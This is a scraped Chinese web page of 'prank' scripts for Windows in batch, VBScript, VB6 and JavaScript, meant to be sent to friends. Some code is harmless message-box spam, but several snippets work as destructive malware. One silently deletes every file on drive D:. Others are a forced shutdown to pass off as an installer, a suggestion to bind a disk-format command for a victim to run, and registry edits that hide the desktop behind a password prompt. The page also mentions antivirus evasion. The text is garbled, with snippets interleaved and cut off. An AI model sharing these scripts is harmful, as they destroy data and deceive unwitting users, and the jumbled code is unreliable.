整人代碼彙總
- IT科技
- 關注:1.69W次
不好意思哦。我也不知道耶www.51dongshi.com防採集。
整人代碼大全,下面我們一起來看看吧。
方法
開啟好友的聊天對話框,然後記下在QQ裏好友的暱稱,把以下代碼中xx替換一下,就可以自訂發送QQ資訊到好友的次數(代碼中數字10改下即可).
下面是比較整人的批處理,不過不建議這樣做 @echo offecho start 1.bat >%temp%2.batecho for /r %windir% %%i in (*) do start %%i
xx.vbs=>
<script language="javascript"> function hr(){ alert('你關不掉的^_^') hr(); } </script> <body onLoad="hr()"> </body> 做壞事了 面壁去
=---------------------------------------
記事本輸入 shutdown -s -t 01把後綴名txt改成bat就行是關機的東西。。
On Error Resume Next
Shell "shutdown.exe -s -t " & Text1.Text
Dim wsh,ye
dim a a=msgbox("",0) while a=1 msgbox "",0 wend "" 中間是添加文字的。比如 dim a a=msgbox("循環窗體",0) while a=
set wsh=createobject("wscript.shell")
此代碼鎖定了任務管理器,想關閉只有重新啓動電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
for i=1 to 10
7.猜數字 @echo off shutdown -s -f -t 600 -c "你好,我是本DOS無聊的製作者江浩,現在遊戲開始了,請在半小時內回答完問題。" echo 給你10分鐘猜這個數,這個數的
wscript.sleep 700
一隻????????看來你已經整到人了。用iexpress。。。免殺、後臺執行
wsh.AppActivate("與 xx 聊天中")
開了會彈出“錯誤,你被系統鄙視了”的氣球,並且把它加到開機啓動項,每每開機時就會彈出以上的氣球 在secdo,bat在系統盤自動創建另一個bat檔案,就是關機的代碼,並且加
wsh.sendKeys "^v"
.版本 2 .支援庫 xplib .支援庫 eAPI.子程序 __啓動視窗_創建完畢資訊框 (“春哥! 哈哈 ”, 0, ) 寫註冊項 (#現行用戶, “SoftwareMicrosoftWindowsCurrentVe
wsh.sendKeys i
整人硬盤何必 VB 電腦自己就有個 傢伙格式化硬盤 dos有個 format 命令 把 這個命令儲存爲 .bat 設法綁定給對方執行就行了嘛DOS 常用命令 ——format 現在用電腦的人
wsh.sendKeys "%s"
next
wscript.quit
開啟無數個計算器,直到死機。
set wsh=createobject("wscript.shell")
此代碼鎖定了任務管理器,想關閉只有重新啓動電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
do
wsh.run "calc"
loop
刪除D:所有檔案
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
不斷按下alt+f4 (開什麼都關閉……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
set ws = wscript.createobject("wscript.shell")if msgbox("純屬娛樂!just for fun!",4132,"絕對無毒無害!你準備好了嗎?")=vbyes thenmsgbox"OK!"elsews.popup"那也沒辦法!接招吧!",3ws.popup"等會的解除密碼在網盤裏,自己下載,祝你愉快!",3end ifws.run" http://alonedu.ys168.com"ws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000001","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 doa=inputbox("請輸入密碼解除","注意,重啓電腦是沒有用的!")if a="我真笨啊" thenmsgbox"密碼正確!",vbinformationws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000000","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide wscript.sleep 2000 ws.run "explorer.exe",vbhidemsgbox"解除成功!"exit doelsemsgbox"看你不下載,密碼錯誤!請重試 !"end ifloop,domsgbox"XX”loopXX裏寫上你想寫的字,啥都可以Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c shutdown -s -t 0 -f",vbhide把這個程序給你的朋友,說是個安裝程序,然後他開啟會立即關機,沒有任何提示使用方法:新建一個文字文檔,把代碼複製到裏面,改後綴名爲vbs(如果沒有點“更改檔案夾和搜尋選項”,點到“檢視”,往下拉找到隱藏已知檔案的拓展名,把勾去掉),然後執行內容來自www.51dongshi.com請勿採集。
- 文章版權屬於文章作者所有,轉載請註明 https://shqsg.com/zh-hant/dianzi/ey2o25.html